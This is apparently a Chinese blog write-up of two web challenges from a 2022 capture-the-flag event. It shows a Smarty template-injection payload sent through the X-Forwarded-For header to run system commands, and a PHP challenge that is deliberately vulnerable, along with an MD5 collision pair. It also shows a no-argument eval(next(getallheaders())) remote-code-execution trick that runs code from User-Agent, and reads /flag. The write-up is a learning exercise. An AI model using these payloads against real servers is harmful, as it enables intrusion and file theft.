2022恐龙杯Web复现

目录

Be Smart

easy_php

总结:


Be Smart

第一题就让我放聪明点,要不然没好果子吃,smart不就应该是ssti注入吗,前几天Buu刷题中碰到的[BJDCTF2020]Cookie is so stable就是Twig引擎的ssti注入,这个题是smart!真好。既然回显的是IP,那就

X-Forwarded-For:{system('ls')}

 

然后查看根目录发现flag,直接:

X-Forwarded-For:{system('cat /flag')}

easy_php

WP告诉我要遇见扫一下就出来了,我才发现我的字典里没用520.php所以一开始没做出来这个题。进入520.php让我在一分钟内完成。然后想起来打开题目时候的提示,为什么要get它,那我post一个东西试试,然后关键来了!

 <?php
    function isPost() {
        return $_SERVER['REQUEST_METHOD'] == 'POST' ? true : false;
    }
​
    function level1() {
        if (isset($_POST['var2']) && isset($_POST['var3']) && ((string)$_POST['var2'] !== (string)$_POST['var3'])) {
            if (md5((string)($_POST['var2'])) === md5((string)($_POST['var3']))) {
                return true;
            } else {
                die("Congratulations you failed, loser!!!");
            }
        }
    }
​
    function level2() {
        if (isPost()) {
            highlight_file(__FILE__);
        } else {
            echo "Can you finish it in a minute, loser?".PHP_EOL;
        }
​
        if (isset($_POST['var1']) && $_POST['var1'] == md5($_POST['var1'])) {
            if (level1()) {
                return true;
            }
        }
    }
​
    function level3() {
        if (level2()) {
            if (preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
                @eval($_GET['code']);
            }
        }
    }
​
    level3();
?> 

第二关是让post,并且要var1与var1的md5值相等。

然后跳到第一关,也是md5碰撞

md5((string)($_POST['var2'])) === md5((string)($_POST['var3']))

.真实md5碰撞,此时不能输入数组了,只能输入字符串

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

还有最后一个位置

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

很明显是无参数rce,apache才可以用的getallheaders()函数

使用getallheaders()时不需代入任何参数值,返回的是所有 HTTP 变量值,并使用组合的数组返回。此函数是apache_request_headers()的别名。

并且 Host 永远在数组的第一个, User-Agent 在第二个, User-Agent 我们可控,直接构造,

eval(next(getallheaders())); 

来访问数组第二个内容,也就是User-Agent的内容。

ls一下发现被禁了,WP教我

highlight_file('/flag');

学到了

总结:

注意查看disable_function

学到了highlight_file('/flag');和getallheaders()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值